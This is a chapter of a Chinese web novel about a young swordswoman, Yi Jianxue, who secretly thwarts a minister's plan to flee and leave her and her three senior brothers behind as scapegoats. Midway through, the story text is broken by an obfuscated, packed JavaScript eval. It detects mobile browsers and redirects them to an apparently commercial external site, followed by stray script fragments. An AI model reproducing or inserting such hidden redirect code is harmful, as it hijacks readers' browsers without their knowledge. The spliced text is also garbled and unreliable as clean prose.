4.秋坟鬼唱鲍家诗(四)
作品:《还是先把师兄搞到手吧》 倘若是鲍使相在这里,他绝不会多么惊讶。
招揽的高手中有仇人或刺客,这是再正常不过的事。
但正因为三个师兄熟悉易肩雪,他们才目瞪口呆。
没有人比他们更清楚,易肩雪既不是鲍使相的仇人,也不是谁收买的刺客。
投靠鲍使相,甚至是她选的。
现在她说她昨晚去刺杀鲍使相了。
……她图什么啊?
潘一纶呆滞许久后,猛然转过头,四下观望。
“没外人。”易肩雪说。
她早就探查过了。
三个师兄又瞪着眼睛看她。
梅镇绮心里恼火得不行。
他比两个师弟更多一重惊愕——她昨夜不是来他屋里了吗?
有昨夜那件不太能说的事,梅镇绮压根就没往她身上想,他也不大好意思回想昨晚的事,就这么囫囵过去。
这会儿倒是不得不想了。
敢情她昨夜偷偷溜出去当了一回刺客、空手接了四道瑕的梁护军三剑、和花无杞夤夜比了一回速度,慢悠悠地回到自己屋里做了个梦,还有力气摸进他屋里又哭又闹?
这位精力过人的神秘刺客还在嫌弃追兵,“三师兄,你跑得也太慢了,我原本还在想要不要和你直说,谁想到我接了梁护军三剑再跑,你居然也追不上。”
花无杞木木地看着她。
半晌,他才跳起来,恶狠狠地说,“我要是追上你了,我可不会放你走。”
易肩雪纳闷极了,“你拿什么不放我走?”
他打得过她吗?
花无杞被她气得要死。
“要不是昨晚我给你解围,你早就被人打成猪头啦。”师妹还要说。
花无杞恨不得把她瞪出个窟窿。
他现在难道就不是个猪头了?
这下可是完了,他明明没和她里应外合,鲍使相也得这么认为了。
“你们本来就和我是一伙的。”师妹拎着水囊晃来晃去,“我要是被抓住了,绝不会放过你们的。”
你看她、你看她,这说的还是人话吗?
师兄们都很崩溃。
她到底图啥呀?
“我是为了救你们呀。”师妹眨着眼睛,理直气壮。
她就没有不理直气壮的时候。
梅镇绮还有点恼火,但也习惯了。
“说明白点。”他没好气地说。
不谢她就算了,他这么凶干嘛?
易肩雪哼了一声。
“到了幽赏园,老鲍会装病不见人,自己偷偷带着心腹跑路,把你们留下来。”她说,“等到他的仇家追来,大家都是替死鬼。”
这话可把师兄们给震住了。
“什么仇人?鲍使相不是宰相吗?还有人敢杀他?”潘一纶说。
“把我们当替死鬼?狗日的竟然不是真心赏识我们?”花无杞说。
话一出口,彼此望望,又被对方给震住了。
梅镇绮懒得管那两人。
他屈膝往地上一坐,满腔的恼火却好像不见了,有几分冷笑,但不算多。
“一次都没打过就跑了。”他说,“后面人什么来头?五道瑕?”
潘一纶和花无杞听出点不对。
怎么大师兄的语气一点也不惊讶?
“从东福启程时,晓行夜宿,直奔长安,近半月里却绕了四次路。”梅镇绮不耐烦地解释,“这一路又没有乱兵,不是躲仇家,还能是什么?”
他要是不解释,潘一纶和花无杞都不知道他们绕过路。
“他骗的就是你们这种从没离开过河东的土包子嘛。”师妹托着腮,悠悠地说,“只要给五个橘子,就会把他当成伯乐,其实人家是庖丁。”
花无杞的学识不足以帮他搞明白这俩哥们是谁,但师妹的意思是很明白的,他自觉被狠狠冒犯了,顿时阴郁得像是墙角的蘑菇。
梅镇绮手肘搭在膝上,拇指一挑,打开水囊。
隐情分明,他那股子无名火倒没了,“你怎么发现的?什么打算?说吧。”
一切,依然始于五个橘子。
师兄妹四人分到了五个橘子,易肩雪拿了两个,却不慎关爱了三师兄一个,心里很是不高兴,便摸到厨下,试图再寻摸一个橘子来。
鲍使相分给心腹的橘子,比分给亡命之徒的多。这些天里,易肩雪对心腹们的性情略有了解,骗个橘子不是难事。
就是在厨下闲聊时,她听说鲍使相吩咐夜里要备点茶菓子吃。
易肩雪比顾越楼还早到鲍使相的书斋。
她也没什么凭据,只是觉得鲍使相夤夜见客,连不少心腹都瞒着,十分奇怪。就算没听到什么有用的事,她也没损失。
“那个顾越楼祖上出过大官,但这些年大乱小乱频频,顾家已经没人有官身了。”易肩雪说,“鲍使相许诺,只要顾越楼帮他金蝉脱壳,等他回了长安,就给她官做。”
花无杞听到这里,眼睛都红了。
“凭什么给她官做?咱们不比她能干?她几道瑕啊?”他气得要命,“五个破橘子把咱几个打发了,靠!”
师兄妹们不语,只是默默看他。
祖上有大官的故旧子弟,和刀口舔血来历不明的亡命之徒,能比吗?
大伙给这个卖完命,又给另一个卖命,是不喜欢安稳日子吗?
人家再落魄,也是住着一个毗邻长安的大园林,喝着茶、抚着琴的落魄,能和你河东臭要饭的一样吗?
花无杞也真是的,说出这么没有自知之明的话,搞得大家都很没面子。
梅镇绮把水囊塞上。
“行了。”他嗓音沉冷,打断花无杞没谱的抱怨,“你要是有五道瑕,什么鲍使相、大司徒,都要请你去做官。你有吗?”
花无杞可不上当,“那姓顾的也不是五道瑕啊?”
梅镇绮的耐心告罄。
“那你姓顾吗?”他森然说,“现在不是师父把你从死人堆里捡出来的时候了,你以为自己卖得上价了是吗?”
气氛骤然冷了下来。
师弟们顿时都不说话了。
只有易肩雪,一手支着腮,一手把水囊的塞子拨得噼噼啪啪响。
“大师兄,你要把三师兄卖给谁啊?”她笑眯眯地捣乱。
梅镇绮于森然怒火中不得不停下。
他懒得理她,但又不训她,只好冷淡看她一眼,试图让她自己消停一点。
易肩雪不理。
师兄妹四人里,易肩雪的地位是最特别的。
四人的师门叫“小铜庐”,这名字是他们共同的师父随便取的,引了“天地铜炉”的典,但又化用得特别潦草。
小铜庐收徒也特别潦草。
当年他们师父从幽燕一路向西,在遍地的乱军乱匪里穿过,顺手捡了三个资质不错的孩童充作剑僮,这就是易肩雪的三个师兄。
说是剑僮,但师父对这三人倾囊相授,并不藏私,后来他将亲侄女接来小铜庐,也不许侄女将他们视作仆僮,只令她称呼他们“师兄”。
易肩雪就是那个侄女。
不过,人心幽微,并不是一个称呼能定论的。
易肩雪在小铜庐总有些微妙的特殊。
大师兄梅镇绮是这样待她,其他两个师兄也如是。
对于这种微妙的地位,善良温柔的好女孩会竭力摆正、抹平,可惜易肩雪和这两个词一点关系也没有。
她不仅笑纳,还纳得理直气壮。
“你不能把他卖了。”易肩雪对大师兄说,“你们都是我的,只有我能卖。”
师兄们不吱声。
她真是这么想的,也一直是这么说的。
大家都相信。
梅镇绮那一腔怒火都给她气散了。
他懒得看她,手肘支在膝上,微微呼出口气。
日光照落,他像一尊沉默森立的石像。
冷峭、巍然、嚣嚣不逊,让人不自觉想退避,最好绕着他走。
纵然将这石像搬进庙宇里,也只能是尊凶煞。
实在不像个好人样子。
他说的也实在不像个好人会说的话。
“给人卖命不就是为了活出个人样吗?”他语气淡淡的,“去争、去抢,现在没有的,早晚会有。”
拼尽全力去争别人生来就有的东西,不丢人。
不体面,不风光,还很脏。
但这世道留给他们的路,就这么一条。
“有路就走,”梅镇绮说,“哪儿那么多废话?”
师弟们唯唯。
只有师妹支着腮,梦梦查查,神游天外。
这世道只给她留了一条路吗?
她不信。
“易姑娘。”有人远远地喊她。
顾越楼推不过鲍使相的美意,被硬塞了一个三道瑕,这会儿就打算用上了,派了人来叫她。
易肩雪起身要走,被梅镇绮一把拉住。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17442415|201016||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“你还没说你的打算。”他简短地说。
易肩雪低下头看他一眼。
她略有点得意地哼笑了一声。
“什么也不用做。”她说,“今晚没人会离开幽赏园。”
顾越楼把易肩雪叫到身边,却没有什么事要吩咐,只是拉着易肩雪有一搭没一搭地聊天。听说易肩雪从小和师兄们一起长大,遇上三年大旱,师父不知所踪,只能和师兄们一路漂泊,竟露出几分恻隐。
易肩雪盯着顾越楼那张白净的脸看了半天,也没看出一点假。
“你……若是往后没地方去,可以来幽赏园找我。”顾越楼斟酌字句,“你的师兄们也可以和你一起过来,我这里虽然没有什么富贵前程,但几个人的衣食还是出得起的。”
这话说得很委婉。
什么“若是往后没地方去”,其实是想说“被鲍使相当替死鬼后”吧?
易肩雪长这么大,还是第一次遇到陌生人要养她。
就因为她可怜?
连她师兄都愿意一起养?
这个顾处士,怎么看起来像个好人啊?
……好人会和鲍使相搅合在一起?
易肩雪不太信。
“谢谢顾处士。”她朝顾越楼甜甜地笑了,故意说,“不过,等我们到了长安,一定会好好为鲍使相做事,应该不会没有地方去吧。”
顾越楼一噎。
她盯着易肩雪那张天真的笑脸,张张嘴要说话,却又苦笑。
“唉,说得也是。”她移开目光,语气略有点干涩,“鲍使相……定不会辜负你们的。”
天啊,这好像真的是个有良心的好人?
死几个萍水相逢的亡命之徒,居然也会不忍?
易肩雪这辈子也没见过几颗良心,更别说好人了。
“顾处士,”她好奇得不得了,“你是个好人吗?”
哪有人这样问问题的?
顾越楼失笑。
“难道你不是?”她说,“哪有人会说自己不是好人的?”
“我不是啊。”眼前天真明媚如杏花春雨的姑娘说,“我是给人卖命的嘛,以前给节帅办事,现在给使相办事,给人卖命,做的当然都是坏事啦。”
顾越楼悚然一惊。
她望着易肩雪,几乎说不出话来。
易肩雪的坏心思还没结束。
“如今这世道,杀人放火金腰带嘛。”她轻快地说,“做好人,死得最快啦。”
就像是她梦里的那个幽赏园。
曲水流觞,被血染红;廊腰缦回,遍地横尸。
死得一个也不剩。
易肩雪觉得自己还挺会做梦的。
像顾处士这样心软又有良心的好人,在这个世道里,一不小心就死了。
鲍使相金蝉脱壳,脱掉的只是十几二十个亡命之徒吗?
不是还有一整座幽赏园吗?
顾处士答应襄助鲍使相的时候,做好付出代价的准备了吗?
顾越楼一言不发。
往后一路,她的话都少得可怜,直到暮色四合,幽赏园已在眼前。
作为此间主人,顾越楼勉强打起精神,将鲍使相一群人暂时安顿下来,心里还揣着易肩雪那番莫名令人悚然的天真话语,独自前往鲍使相的居所。
按照前一夜的约定,鲍使相明面上“水土不服,当夜大病,缠绵病榻”,实则今夜连觉也不睡,直接带着心腹从小路离开幽赏园,直奔长安。
顾越楼只需配合鲍使相留下的那几个心腹,演完这场金蝉脱壳的大戏,骗过鲍使相手下的亡命之徒,和后续将至的追兵。
然而当顾越楼踏进鲍使相的院子时,她就知道这出戏唱不成了。
“顾处士,大事不好!”鲍使相的心腹面如金纸,“我家使相当真水土不服,上吐下泻,站也站不住,凶险之极。快去请大夫来!”
装病的鲍使相,真的抱病了。
“假戏真做。”离鲍使相略远的院子里,有个天真漂亮的傻瓜说,“鲍使相想生病,我就帮帮他嘛。”
给人卖命,就是要为君分忧。
她不惜暴露自己,硬接梁护军三剑,可不是为了给鲍使相一点皮肉伤的。
易肩雪很满意。
“这下好了。”她说,“我们可以合计一下,怎么把鲍使相偷出来带走了。”
金蝉脱壳?真是好办法。
不过,到底脱哪个壳,鲍使相应该不强求吧?

